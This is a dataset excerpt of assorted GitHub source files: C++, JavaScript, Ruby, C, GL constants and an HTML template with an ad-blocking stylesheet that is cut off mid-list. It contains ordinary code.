text stringlengths 2 99k | meta dict |
|---|---|
#pragma once
#include <algorithm>
#include <Core/Block.h>
#include <Columns/IColumn.h>
#include <boost/smart_ptr/intrusive_ptr.hpp>
namespace DB
{
/// Allows you refer to the row in the block and hold the block ownership,
/// and thus avoid creating a temporary row object.
/// Do not use std::shared_ptr, since there is no need for a place for `weak_count` and `deleter`;
/// does not use Poco::SharedPtr, since you need to allocate a block and `refcount` in one piece;
/// does not use Poco::AutoPtr, since it does not have a `move` constructor and there are extra checks for nullptr;
/// The reference counter is not atomic, since it is used from one thread.
namespace detail
{
struct SharedBlock : Block
{
int refcount = 0;
ColumnRawPtrs all_columns;
ColumnRawPtrs sort_columns;
SharedBlock(Block && block) : Block(std::move(block)) {}
};
}
inline void intrusive_ptr_add_ref(detail::SharedBlock * ptr)
{
++ptr->refcount;
}
inline void intrusive_ptr_release(detail::SharedBlock * ptr)
{
if (0 == --ptr->refcount)
delete ptr;
}
using SharedBlockPtr = boost::intrusive_ptr<detail::SharedBlock>;
struct SharedBlockRowRef
{
ColumnRawPtrs * columns = nullptr;
size_t row_num;
SharedBlockPtr shared_block;
void swap(SharedBlockRowRef & other)
{
std::swap(columns, other.columns);
std::swap(row_num, other.row_num);
std::swap(shared_block, other.shared_block);
}
/// The number and types of columns must match.
bool operator==(const SharedBlockRowRef & other) const
{
size_t size = columns->size();
for (size_t i = 0; i < size; ++i)
if (0 != (*columns)[i]->compareAt(row_num, other.row_num, *(*other.columns)[i], 1))
return false;
return true;
}
bool operator!=(const SharedBlockRowRef & other) const
{
return !(*this == other);
}
void reset()
{
SharedBlockRowRef empty;
swap(empty);
}
bool empty() const { return columns == nullptr; }
size_t size() const { return empty() ? 0 : columns->size(); }
void set(SharedBlockPtr & shared_block_, ColumnRawPtrs * columns_, size_t row_num_)
{
shared_block = shared_block_;
columns = columns_;
row_num = row_num_;
}
};
}
| {
"pile_set_name": "Github"
} |
import { Component } from 'preact';
import { connect } from 'unistore/preact';
import actions from '../actions';
import TasmotaPage from '../TasmotaPage';
import DiscoverTab from './DiscoverTab';
import { WEBSOCKET_MESSAGE_TYPES } from '../../../../../../../server/utils/constants';
@connect('user,session,httpClient,housesWithRooms,discoveredDevices,loading,errorLoading', actions)
class TasmotaIntegration extends Component {
async componentWillMount() {
this.props.getDiscoveredTasmotaDevices();
this.props.getHouses();
this.props.getIntegrationByName('tasmota');
this.props.session.dispatcher.addListener(
WEBSOCKET_MESSAGE_TYPES.TASMOTA.NEW_DEVICE,
this.props.addDiscoveredDevice
);
}
render(props) {
return (
<TasmotaPage user={props.user}>
<DiscoverTab {...props} />
</TasmotaPage>
);
}
}
export default TasmotaIntegration;
| {
"pile_set_name": "Github"
} |
module Admin::SectionsHelper
end
| {
"pile_set_name": "Github"
} |
GL_EXT_texture_cube_map_array
http://www.opengl.org/registry/specs/EXT/texture_cube_map_array.txt
GL_EXT_texture_cube_map_array
GL_TEXTURE_CUBE_MAP_ARRAY_EXT 0x9009
GL_TEXTURE_BINDING_CUBE_MAP_ARRAY_EXT 0x900A
GL_SAMPLER_CUBE_MAP_ARRAY_EXT 0x900C
GL_SAMPLER_CUBE_MAP_ARRAY_SHADOW_EXT 0x900D
GL_INT_SAMPLER_CUBE_MAP_ARRAY_EXT 0x900E
GL_UNSIGNED_INT_SAMPLER_CUBE_MAP_ARRAY_EXT 0x900F
GL_IMAGE_CUBE_MAP_ARRAY_EXT 0x9054
GL_INT_IMAGE_CUBE_MAP_ARRAY_EXT 0x905F
GL_UNSIGNED_INT_IMAGE_CUBE_MAP_ARRAY_EXT 0x906A
| {
"pile_set_name": "Github"
} |
{
"pluginIcon": "",
"pluginName": "SpellChecker",
"pluginDescription": "Mac OS X spell checker",
"extensionHeader": "macspellchecker.h",
"extensionClass": "MacIntegration::MacSpellChecker"
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2017-2019 Dremio Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
// TODO: loc
export default {
DATE: {
values: ['YYYY-MM-DD', 'MM.DD.YY', 'DD/MM/YY', 'MON DD, YYYY'],
examples: [
{format: 'YYYY', description: 'Four digits of year'},
{format: 'YY', description: 'Last two digits of year'},
{format: 'MM', description: 'Month (1-12)'},
{format: 'MON', description: 'Abbreviated month name (Mar, Oct)'},
{format: 'MONTH', description: 'Full month name (March, October)'},
{format: 'DD', description: 'Day of month (1-31)'}
]
},
TIME: {
values: ['HH:MI', 'HH24:MI', 'HH24:MI:SS', 'HH24:MI:SS.FFF'],
examples: [
{format: 'HH', description: 'Hour of day (1-12)'},
{format: 'HH24', description: 'Hour of day (0-23)'},
{format: 'MI', description: 'Minutes (0-59)'},
{format: 'SS', description: 'Seconds (0-59)'},
{format: 'FFF', description: 'Milliseconds (0-999)'}
]
},
DATETIME: {
values: ['YYYY-MM-DD HH24:MI:SS', 'YYYY-MM-DD HH24:MI:SS.FFF', 'YYYY-MM-DD"T"HH24:MI:SS.FFFTZO'],
examples: [
{format: 'YYYY', description: 'Four digits of year'},
{format: 'MM', description: 'Month (1-12)'},
{format: 'DD', description: 'Day of month (1-31)'},
{format: 'HH24', description: 'Hour of day (0-23)'},
{format: 'MI', description: 'Minutes (0-59)'},
{format: 'SS', description: 'Seconds (0-59)'}
]
}
};
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env node
/**
* This script initialises the playground by linking all package into the /test directory
*/
const path = require('path')
const shell = require('shelljs')
const packagesDir = path.join(__dirname, '..', 'packages')
const nodeModulesDir = path.join(__dirname, '..', 'packages', 'node_modules')
const nodeModulesWDIODir = path.join(__dirname, '..', 'packages', 'node_modules', '@wdio')
const packages = shell.ls(packagesDir)
shell.mkdir(nodeModulesDir)
shell.mkdir(nodeModulesWDIODir)
packages.forEach(
(pkg) => shell.ln(
'-s',
path.join(packagesDir, pkg),
pkg.startsWith('wdio-')
? path.join(nodeModulesWDIODir, pkg.replace('wdio-', ''))
: path.join(nodeModulesDir, pkg)
)
)
| {
"pile_set_name": "Github"
} |
"use strict";
var _typeof =
typeof Symbol === "function" && typeof Symbol.iterator === "symbol"
? function (obj) {
return typeof obj;
}
: function (obj) {
return obj &&
typeof Symbol === "function" &&
obj.constructor === Symbol &&
obj !== Symbol.prototype
? "symbol"
: typeof obj;
};
function _toConsumableArray(arr) {
if (Array.isArray(arr)) {
for (var i = 0, arr2 = Array(arr.length); i < arr.length; i++) {
arr2[i] = arr[i];
}
return arr2;
} else {
return Array.from(arr);
}
}
/*!
* Test plugin for Editor.md
*
* @file Mind Map
* @author pandao
* @version 1.2.0
* @updateTime 2015-03-07
* {@link https://github.com/pandao/editor.md}
* @license MIT
*/
(function () {
var factory = function factory(exports) {
var treeProperties = {
textFilter: {label: "Text Filter (regex)", type: "text", val: "."},
fontSize: {
label: "Font size",
model: "fontSize",
min: 5,
max: 50,
val: 13
},
connectorWidth: {
label: "Connector width",
model: "connectorWidth",
min: 20,
max: 100,
val: 65
},
connectorSteepness: {
label: "Connector steepness",
min: 0.1,
max: 1,
step: 0.01,
val: 0.65
},
connectorLineWidth: {
label: "Line width",
min: 0.5,
max: 10,
step: 0.25,
val: 4.5
},
nodeMarginTop: {label: " Top margin", min: 0, max: 50, val: 5},
nodeMarginBottom: {label: " Bottom margin", min: 0, max: 50, val: 5},
useGrayscale: {label: "Use grayscale", type: "boolean", val: 0}
};
var textFilter = new RegExp(".+");
var $ = jQuery; // if using module loader(Require.js/Sea.js).
var pluginName = "mindmap";
// exports.fn.testMind = function(p1, p2) {
// console.log("testMind");
// }
var currentTree;
$.fn.drawMind = function () {
for (var i = 0; i < this.length; i++) {
//text, domItem
// console.log("drawMind ", $(this).find("canvas"), $(this).find(".mindTxt"));
// return;
var text = $(this).find(".mindTxt")[i].innerText;
//console.log($(this).find(".mindTxt")[i].innerText);
//console.log($(this).find(".mindTxt").text())
try {
var parsed = parseList(text);
} catch (err) {
console.log("Woops! Error parsing");
return;
}
$(this).find(".mindTxt").hide();
if (parsed.children.length === 0) {
return;
}
parsed = parsed.children[0];
currentTree = parseObjectBranch(parsed, true);
//console.log($(this).find("canvas").length);
//console.log($(this).find("canvas")[i]);
regenerateDiagram($(this).find("canvas")[i]);
// console.log("drawMind", text, parsed, domItem);
}
};
var parseObjectBranch = function parseObjectBranch(branch) {
var isRoot =
arguments.length > 1 && arguments[1] !== undefined
? arguments[1]
: false;
var node = new TreeNode(branch.label, isRoot);
var _iteratorNormalCompletion = true;
var _didIteratorError = false;
var _iteratorError = undefined;
try {
for (
var _iterator = branch.children[Symbol.iterator](), _step;
!(_iteratorNormalCompletion = (_step = _iterator.next()).done);
_iteratorNormalCompletion = true
) {
var child = _step.value;
if (textFilter.test(child.label)) {
node.addChild(parseObjectBranch(child, false));
}
}
} catch (err) {
_didIteratorError = true;
_iteratorError = err;
} finally {
try {
if (!_iteratorNormalCompletion && _iterator.return) {
_iterator.return();
}
} finally {
if (_didIteratorError) {
throw _iteratorError;
}
}
}
return node;
};
var regenerateDiagram = function regenerateDiagram(canvas) {
//var canvas = document.getElementById("canvas");
var ctx = canvas.getContext("2d");
if (!(currentTree instanceof TreeNode)) {
console.log("Not a valid tree", currentTree);
return;
}
// Draw the map
var beautifulDrawing = currentTree.draw();
// Resize canvas to the size of the map plus some margin
canvas.width = beautifulDrawing.width + 25;
canvas.height = beautifulDrawing.height + 25;
// console.log("Canvas", canvas.width, canvas.height);
// Draw the map onto the existing canvas
ctx.drawImage(beautifulDrawing, 25, 25);
};
function parseList(text) {
var items = {label: "ROOT", children: [], depth: -1};
var lines = text.split("\n");
lines = lines.filter(function (c) {
return !c.match(/^\s*$/);
}); // Remove blank lines
var currentParent = items;
var currentParentDepth = -1;
var currentItemLabel = "";
var currentItemDepth;
var _iteratorNormalCompletion2 = true;
var _didIteratorError2 = false;
var _iteratorError2 = undefined;
try {
for (
var _iterator2 = lines[Symbol.iterator](), _step2;
!(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done);
_iteratorNormalCompletion2 = true
) {
var line = _step2.value;
var itemMatch = line.match(/^( *)-\s*(.*)$/);
// New item
if (itemMatch) {
// Store previous item (if any)
if (currentItemLabel != "") {
// Build the node for the previously read node
var node = {
label: currentItemLabel,
children: [],
parent: currentParent,
depth: currentItemDepth
};
// Store the node within its parent
currentParent["children"].push(node);
// Set the new "parent" to the previous item
currentParent = node;
currentParentDepth = node.depth;
}
// Fetch the data from the newly-read item
currentItemDepth = itemMatch[1].length;
currentItemLabel = itemMatch[2];
// If the parent is deeper than the new item, switch the parent
// to one with lower depth than current item
while (currentItemDepth <= currentParentDepth) {
currentParent = currentParent["parent"];
currentParentDepth = currentParent["depth"];
}
} else {
// Continued string from previous item
currentItemLabel += "\n" + line;
}
}
// Force insert last item
} catch (err) {
_didIteratorError2 = true;
_iteratorError2 = err;
} finally {
try {
if (!_iteratorNormalCompletion2 && _iterator2.return) {
_iterator2.return();
}
} finally {
if (_didIteratorError2) {
throw _iteratorError2;
}
}
}
if (currentItemLabel) {
var node = {
label: currentItemLabel,
children: [],
parent: currentParent,
depth: currentParentDepth + 1
};
currentParent["children"].push(node);
}
return items;
}
var fontFamily = "Open Sans";
var labelPaddingBottom = 8;
var labelPaddingRight = 10;
var DEBUG = false;
function TreeNode(label) {
var isRoot =
arguments.length > 1 && arguments[1] !== undefined
? arguments[1]
: false;
this.label = label;
this.labelLines = this.label.split("\n");
this.isRoot = isRoot;
this.parent = undefined;
this.children = [];
this.isLeaf = function () {
return this.children.length == 0;
};
this.addChild = function (child) {
child.parent = this;
this.children.push(child);
};
this.addChildren = function () {
for (
var _len = arguments.length, children = Array(_len), _key = 0;
_key < _len;
_key++
) {
children[_key] = arguments[_key];
}
var _iteratorNormalCompletion3 = true;
var _didIteratorError3 = false;
var _iteratorError3 = undefined;
try {
for (
var _iterator3 = children[Symbol.iterator](), _step3;
!(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done);
_iteratorNormalCompletion3 = true
) {
var child = _step3.value;
this.addChild(child);
}
} catch (err) {
_didIteratorError3 = true;
_iteratorError3 = err;
} finally {
try {
if (!_iteratorNormalCompletion3 && _iterator3.return) {
_iterator3.return();
}
} finally {
if (_didIteratorError3) {
throw _iteratorError3;
}
}
}
};
this.draw = function (currentBranchColor) {
var _this = this;
var that = this;
var dl = function dl(x, y) {
var c =
arguments.length > 2 && arguments[2] !== undefined
? arguments[2]
: "#00ff00";
var w =
arguments.length > 3 && arguments[3] !== undefined
? arguments[3]
: 100;
that.ctx.fillStyle = c;
that.ctx.fillRect(x, y, w, 1);
};
var dr = function dr(x, y, w, h) {
var c =
arguments.length > 4 && arguments[4] !== undefined
? arguments[4]
: "#00ff00";
that.ctx.lineWidth = 1;
that.ctx.strokeStyle = c;
that.ctx.rect(x, y, w, h);
that.ctx.stroke();
};
this.canvas = document.createElement("canvas");
this.ctx = this.canvas.getContext("2d");
// The width of the label will be the width of the widest line
this.ctx.font = treeProperties.fontSize.val + "px " + fontFamily;
// The height of the lines of text (only)
this.textHeight = treeProperties.fontSize.val * this.labelLines.length;
// The height of the text + the separation from the line + the line height + the label margin
this.composedHeight =
this.textHeight +
labelPaddingBottom +
treeProperties.connectorLineWidth.val;
// The composed height plus the margin
this.paddedHeight =
this.composedHeight + treeProperties.nodeMarginTop.val;
this.labelHeight =
treeProperties.nodeMarginTop.val + // top margin
treeProperties.fontSize.val * (this.labelLines.length + 1) + // text lines' height
treeProperties.nodeMarginBottom.val; // bottom margin
this.labelWidth = Math.ceil(
Math.max.apply(
Math,
_toConsumableArray(
this.labelLines.map(function (c) {
return _this.ctx.measureText(c).width;
})
)
)
);
if (this.isLeaf()) {
// Resize the canvas
this.canvas.width = this.labelWidth + labelPaddingRight * 2;
this.canvas.height = this.labelHeight;
// Set the font
this.ctx.font = treeProperties.fontSize.val + "px " + fontFamily;
// Draw the text lines
for (var i = 0; i < this.labelLines.length; i++) {
this.ctx.fillText(
this.labelLines[i],
0,
treeProperties.fontSize.val * (i + 1) +
treeProperties.nodeMarginTop.val
);
}
// The anchorPoint defines where the line should start
this.anchorPoint = {
x: 0,
y:
this.labelLines.length * treeProperties.fontSize.val +
labelPaddingBottom +
treeProperties.nodeMarginTop.val
};
} else {
// If this is the root, we need to generate a random color for each branch
if (this.isRoot) {
var branchColors = this.children.map(function (c) {
return generateRandomColor(treeProperties.useGrayscale);
});
var canvases = this.children.map(function (c, i) {
return c.draw(branchColors[i]);
});
} else {
// Otherwise, use the received branchColor
var canvases = this.children.map(function (c, i) {
return c.draw(currentBranchColor);
});
}
// Get the vertical positions for the children
var childrenVerticalPositions = [0];
// Each position is the sum of the acumulated heights of the previous elements
for (var i = 0; i < canvases.length; i++) {
childrenVerticalPositions[i + 1] =
childrenVerticalPositions[i] + canvases[i].height;
}
var childrenHeight = childrenVerticalPositions[canvases.length];
this.anchorPoint = {x: this.isRoot ? 10 : 0, y: 0};
/*
If the height of the children is smaller than the height of the node, take the height of the node and
don't center it vertically.
Otherwise, take the max between 2*height of the node and the children height, and center it vertically.
*/
if (
childrenHeight <
this.composedHeight + treeProperties.nodeMarginTop.val * 2
) {
this.canvas.height =
this.composedHeight + treeProperties.nodeMarginTop.val * 2;
this.anchorPoint.y =
this.canvas.height / 2 + this.composedHeight / 2;
} else {
this.canvas.height = Math.max(
childrenVerticalPositions[canvases.length],
this.composedHeight * 2
);
this.anchorPoint.y = this.canvas.height / 2;
}
// console.log(this.label, this.canvas.height, childrenVerticalPositions[canvases.length]);
// Compute left margin (label width + separation)
var leftMargin =
10 + this.labelWidth + treeProperties.connectorWidth.val;
// Set the width to the leftMargin plus the width of the widest child branch
this.canvas.width =
leftMargin +
Math.max.apply(
Math,
_toConsumableArray(
canvases.map(function (c) {
return c.width;
})
)
);
this.ctx.font = treeProperties.fontSize.val + "px " + fontFamily;
// Draw each child
for (var i = 0; i < canvases.length; i++) {
if (this.isRoot) {
currentBranchColor = branchColors[i];
}
this.ctx.drawImage(
canvases[i],
leftMargin,
childrenVerticalPositions[i]
);
var connector_a = {
x: this.anchorPoint.x + this.labelWidth + labelPaddingRight,
y: this.anchorPoint.y
};
var connector_b = {
x: leftMargin,
y: childrenVerticalPositions[i] + this.children[i].anchorPoint.y
};
this.ctx.beginPath();
this.ctx.moveTo(connector_a.x, connector_a.y);
this.ctx.bezierCurveTo(
connector_a.x +
treeProperties.connectorSteepness.val *
treeProperties.connectorWidth.val,
connector_a.y,
connector_b.x -
treeProperties.connectorSteepness.val *
treeProperties.connectorWidth.val,
connector_b.y,
connector_b.x,
connector_b.y
);
this.ctx.lineTo(
connector_b.x + this.children[i].labelWidth + labelPaddingRight,
connector_b.y
);
this.ctx.lineWidth = treeProperties.connectorLineWidth.val;
this.ctx.lineCap = "round";
this.ctx.strokeStyle = currentBranchColor;
this.ctx.stroke();
}
// For the root node, print a containing rectangle and always center the text
if (this.isRoot) {
this.ctx.fillStyle = "#ffffff";
this.ctx.lineWidth = 3;
roundRect(
this.ctx,
2,
this.canvas.height / 2 -
this.labelLines.length * treeProperties.fontSize.val,
this.labelWidth + 18,
treeProperties.fontSize.val * (this.labelLines.length + 1.5),
5,
true,
true
);
this.ctx.fillStyle = "#000000";
for (var i = 0; i < this.labelLines.length; i++) {
this.ctx.fillText(
this.labelLines[i],
10, // Fixed margin from the left
this.canvas.height / 2 + // Vertical center
treeProperties.fontSize.val / 2 - // Middle of the line height
treeProperties.fontSize.val * (this.labelLines.length - i - 1) // Correctly account for multilines
);
}
} else {
this.ctx.fillStyle = "#000000";
for (var i = 0; i < this.labelLines.length; i++) {
this.ctx.fillText(
this.labelLines[i],
10, // Fixed margin from the left
this.anchorPoint.y - // From the anchor point
labelPaddingBottom - // Move up the padding
treeProperties.fontSize.val * (this.labelLines.length - i - 1)
);
}
}
}
if (DEBUG) {
dr(1, 1, this.canvas.width - 1, this.canvas.height - 1);
}
return this.canvas;
};
}
function roundRect(ctx, x, y, width, height, radius, fill, stroke) {
if (typeof stroke == "undefined") {
stroke = true;
}
if (typeof radius === "undefined") {
radius = 5;
}
if (typeof radius === "number") {
radius = {tl: radius, tr: radius, br: radius, bl: radius};
} else {
var defaultRadius = {tl: 0, tr: 0, br: 0, bl: 0};
for (var side in defaultRadius) {
radius[side] = radius[side] || defaultRadius[side];
}
}
ctx.beginPath();
ctx.moveTo(x + radius.tl, y);
ctx.lineTo(x + width - radius.tr, y);
ctx.quadraticCurveTo(x + width, y, x + width, y + radius.tr);
ctx.lineTo(x + width, y + height - radius.br);
ctx.quadraticCurveTo(
x + width,
y + height,
x + width - radius.br,
y + height
);
ctx.lineTo(x + radius.bl, y + height);
ctx.quadraticCurveTo(x, y + height, x, y + height - radius.bl);
ctx.lineTo(x, y + radius.tl);
ctx.quadraticCurveTo(x, y, x + radius.tl, y);
ctx.closePath();
if (fill) {
ctx.fill();
}
if (stroke) {
ctx.stroke();
}
}
function getRandomInt(min, max) {
return Math.floor(Math.random() * (max - min)) + min;
}
function componentToHex(c) {
var hex = c.toString(16);
return hex.length == 1 ? "0" + hex : hex;
}
function rgbToHex(r, g, b) {
return "#" + componentToHex(r) + componentToHex(g) + componentToHex(b);
}
function generateRandomColor(useGrayscale) {
var baseColor = [256, 256, 256];
var red = getRandomInt(0, 256);
var green = getRandomInt(0, 256);
var blue = getRandomInt(0, 256);
// mix the color
var mixture = 0.7;
red = Math.round(red * mixture + baseColor[0] * (1 - mixture));
green = Math.round(green * mixture + baseColor[1] * (1 - mixture));
blue = Math.round(blue * mixture + baseColor[2] * (1 - mixture));
if (useGrayscale.val == 1) {
return rgbToHex(red, red, red);
} else {
return rgbToHex(red, green, blue);
}
}
function getLoremIpsum() {
var numWords =
arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 5;
var baseText =
"Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus gravida eu leo vitae imperdiet. Nam pulvinar luctus arcu, vel semper ligula efficitur in. Mauris non semper ante. Nullam scelerisque hendrerit urna, lacinia egestas enim laoreet vitae. Aliquam erat volutpat. Duis posuere magna libero, vel rhoncus nisl ullamcorper eu. Etiam ac libero consectetur, congue nisi quis, vulputate erat.";
var sentences = baseText.split(".");
var sentences_words = sentences.map(function (s) {
return s.split(/[\s\.,]/);
});
var chosenSentenceNumber = getRandomInt(0, sentences.length - 1);
var chosenWords = sentences_words[chosenSentenceNumber]
.slice(0, numWords)
.join(" ");
return chosenWords;
}
};
// CommonJS/Node.js
if (
typeof require === "function" &&
(typeof exports === "undefined" ? "undefined" : _typeof(exports)) ===
"object" &&
(typeof module === "undefined" ? "undefined" : _typeof(module)) === "object"
) {
module.exports = factory;
} else if (typeof define === "function") {
// AMD/CMD/Sea.js
if (define.amd) {
// for Require.js
define(["editormd"], function (editormd) {
factory(editormd);
});
} else {
// for Sea.js
define(function (require) {
var editormd = require("./../editormd.min");
factory(editormd);
});
}
} else {
factory(window.editormd);
}
})();
| {
"pile_set_name": "Github"
} |
/*
* This file is part of the UCB release of Plan 9. It is subject to the license
* terms in the LICENSE file found in the top-level directory of this
* distribution and at http://akaros.cs.berkeley.edu/files/Plan9License. No
* part of the UCB release of Plan 9, including this file, may be copied,
* modified, propagated, or distributed except according to the terms contained
* in the LICENSE file.
*/
#include <u.h>
#include <libc.h>
#include <ctype.h>
static char*
skiptext(char *q)
{
while(*q!='\0' && *q!=' ' && *q!='\t' && *q!='\r' && *q!='\n')
q++;
return q;
}
static char*
skipwhite(char *q)
{
while(*q==' ' || *q=='\t' || *q=='\r' || *q=='\n')
q++;
return q;
}
static char* months[] = {
"jan", "feb", "mar", "apr",
"may", "jun", "jul", "aug",
"sep", "oct", "nov", "dec"
};
static int
strcmplwr(char *a, char *b, int n)
{
char *eb;
eb = b+n;
while(*a && *b && b<eb){
if(tolower(*a) != tolower(*b))
return 1;
a++;
b++;
}
if(b==eb)
return 0;
return *a != *b;
}
int
strtotm(char *p, Tm *tmp)
{
char *q, *r;
int j;
Tm tm;
int delta;
delta = 0;
memset(&tm, 0, sizeof(tm));
tm.mon = -1;
tm.hour = -1;
tm.min = -1;
tm.year = -1;
tm.mday = -1;
for(p=skipwhite(p); *p; p=skipwhite(q)){
q = skiptext(p);
/* look for time in hh:mm[:ss] */
if(r = memchr(p, ':', q-p)){
tm.hour = strtol(p, 0, 10);
tm.min = strtol(r+1, 0, 10);
if(r = memchr(r+1, ':', q-(r+1)))
tm.sec = strtol(r+1, 0, 10);
else
tm.sec = 0;
continue;
}
/* look for month */
for(j=0; j<12; j++)
if(strcmplwr(p, months[j], 3)==0){
tm.mon = j;
break;
}
if(j!=12)
continue;
/* look for time zone [A-Z][A-Z]T */
if(q-p==3 && 'A' <= p[0] && p[0] <= 'Z'
&& 'A' <= p[1] && p[1] <= 'Z' && p[2] == 'T'){
strecpy(tm.zone, tm.zone+4, p);
continue;
}
if(p[0]=='+'||p[0]=='-')
if(q-p==5 && strspn(p+1, "0123456789") == 4){
delta = (((p[1]-'0')*10+p[2]-'0')*60+(p[3]-'0')*10+p[4]-'0')*60;
if(p[0] == '-')
delta = -delta;
continue;
}
if(strspn(p, "0123456789") == q-p){
j = strtol(p, nil, 10);
if(1 <= j && j <= 31)
tm.mday = j;
if(j >= 1900)
tm.year = j-1900;
}
}
if(tm.mon<0 || tm.year<0
|| tm.hour<0 || tm.min<0
|| tm.mday<0)
return -1;
*tmp = *localtime(tm2sec(&tm)-delta);
return 0;
}
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title><empty name="siteinfo.shopname"> <#$info['wxname']#><else/> <#$siteinfo.shopname#></empty></title>
<meta name="viewport" content="width=device-width,height=device-height,inital-scale=1.0,maximum-scale=1.0,user-scalable=no;">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black">
<meta name="format-detection" content="telephone=no">
<meta charset="utf-8">
<link href="<#$Theme['P']['root']#>/wap/css/ktv/style.css" rel="stylesheet" type="text/css">
<link type="text/css" rel="stylesheet" href="<#$Theme['P']['root']#>/wap/css/ktv/style01.css">
<script type="text/javascript" charset="utf-8" src="<#$Theme['P']['root']#>/wap/js/ktv/page_context.js"></script>
<style type="text/css" id="LB_ADBLOCK_0">[src*="&sourcesuninfo=ad-"],.adarea,.adarea_top,#lovexin1,#lovexin2,.m_ad,#topBanner,.ad1,.ad2,.ad3,.ad4,.ad5,.ad6,.ad7,.ad8,.ad9,.adSpace,.ad_240_h,.side-Rad,.ol_ad_xiala,iframe[src^="http://a.cntv.cn"],[id^="youku_ad_"],#bd1,#bd2,#bd3,.h8r.font0,.topbod>.topbodr,.topbodr>table[width="670"][height="70"],.widget_ad_slot_wrapper,.gg01,.gg02,.gg03,.gg04,.gg05,.gg06,.gg07,.gg08,.gg09,#_SNYU_Ad_Wrap,[id^="snyu_slot_"],.random-box>.random-banner,.gonglue_rightad,iframe[src^="http://www.37cs.com/html/click/"],#AdZoneRa,#AdZoneRb,#AdZoneRc,#AdZoneRd,#AdZoneRe,#AdZoneRf,#AdZoneRg,div[id="adAreaBbox"],.absolute.a_cover,#QQCOM_Width3,#auto_gen_6,.l_qq_com,#cj_ad,[href^="http://c.l.qq.com/adsclick?oid="],.right_ad_lefttext,.right_ad_righttext,.AdTop-Article-QQ,.business-Article-QQ,.qiye-Article-QQ,.AdBox-Article-QQ,td[width="960"][height="90"][align="center"],.adclass,.ad1,[id^="tonglan_"],.ads5,.adv,.ads220_60,.ad-h60,.ad-h65,.ggs,[class^="ads360"],.news_ad_box,#XianAd,.Ad3Top-Article-QQ,.AdTop2-Article-QQ,.adbutton-Aritcle-QQ,#AdRight-Article-QQ,[id^=ad-block],.sidBoxNoborder.mar-b8,#ent_ad,[class="ad"][id="ad_bottom"],[class="ad"][id="ad_top"],.plrad,.ad300,#top_ad1,#top_ad2,#top_ad3,#top_ad4,#top_ad5,#top_ad6,#top_ad7,#top_ad8,#top_ad9,#mid_ad1,#mid_ad2,#mid_ad3,#mid_ad4,#mid_ad5,#mid_ad6,#mid_ad7,#mid_ad8,#mid_ad9,#ads1,#ads2,#ads3,#ads4,#ads5,#ads6,#ads7,#ads8,#ads9,.dlAd,.changeAd,.unionCpv,#Advertisement,iframe[src*="/advertisement."],img[src*="/advertisement."],.ad_headerbanner,#ad_headerbanner,div[class^=ad_textlink],iframe[src*="guanggao"],img[src*="guanggao"],#ads-top,#ads-bot,.adBanner,#topAd,.top_ad,.topAds,.topAd,.ad_column,#ad1,#ad2,#ad3,#ad4,#ad5,#ad6,#ad7,#ad8,#ad9,.ad_footerbanner,#adleft,#adright,.advleft,.advright,.ad980X60,.banner-ad,.top-ad,#adright,#AdLayer1,#AdLayer2,#AdLayer3,div[href*="click.mediav.com"],div[class=top_ad],div[class^="headads"],div[class="ads"],.txtad,.guanggao,#guanggao,.adclass,div[id*="AdsLayer"],.ad950,.guangg,.header-ads-top,#adleft,#adright,#ad_show,.ad_pic,#fullScreenAd,div[class^="adbox"],#topADImg,div[class^="ad_box"],div[id^="adbox"],div[class^="ads_"],div[alt*="¥ᄍ¥ムハ¦ᄑヘ"],div[id^="ads_"],div[src*="/adfile/"],.delayadv,#vplayad,.jadv,div[src*="/ads/"],div[src*="/advpic/"],div[id*="_adbox"],div[id*="-adbox"],div[class^="showad"],div[id^="adshow"],#bottomads,.ad_column,div[id^="_AdSame"],iframe[src^="http://drmcmm.baidu.com"],div[src^="http://drmcmm.baidu.com"],frame[src^="http://drmcmm.baidu.com"],div[href^="http://www.baidu.com/cpro.php?"],iframe[href^="http://www.baidu.com/cpro.php?"],div[src^="http://cpro.baidu.com"],div[src^="http://eiv.baidu.com"],div[href^="http://www.baidu.com/baidu.php?url="],div[href^="http://www.baidu.com/adrc.php?url="],.ad_text,div[href^="http://click.cm.sandai.net"],div.adA.area,div[src*=".qq937.com"],iframe[src*=".qq937.com"],div[src*=".88210212.com"],iframe[src*=".88210212.com"],.adBox,.adRight,.adLeft,.banner-ads,.right_ad,.left_ad,.content_ad,.post-top-gg,div[class*="_ad_slot"],.col_ad,.block_ad,div[class^="adList"],.adBlue,.mar_ad,div[id^="ArpAdPro"],.adItem,.ggarea,.adiframe,iframe[src*="/adiframe/"],#bottom_ad,.bottom_ad,.crumb_ad,.topadna,.topadbod,div[src*="qq494.cn"],iframe[src*="qq494.cn"],.topadbod,embed[src*="gamefiles.qq937.com"],embed[src*="17kuxun.com"],.crazy_ad_layer,#crazy_ad_layer,.bannerad,iframe[src*="/ads/"],img[src*="/ads/"],embed[src*="/ads/"],#crazy_ad_float,.crazy_ad_float,.main_ad,.topads,div[class^="txtadsblk"],.head-ad,div[src*="/728x90."],img[src*="/728x90."],embed[src*="/728x90."],iframe[src*="/gg/"],img[src*="/gg/"],iframe[src^="http://www.460.com.cn"],#bg_ad,.ad_pic,iframe[src*="gg.yxdown.com"],.ad_top,#baiduSpFrame,.flashad,#flashad,#ShowAD,[onclick^="ad_clicked"],[class^="ad_video_"],#ad_240,.wp.a_f,.a_mu,#hd_ad,#top_ads,#header_ad,#adbanner,#adbanner_1,#Left_bottomAd,#Right_bottomAd,#ad_alimama,#vipTip,.ad_pip,#show-gg,.ad-box,.advbox,.widget-ads.banner,.a76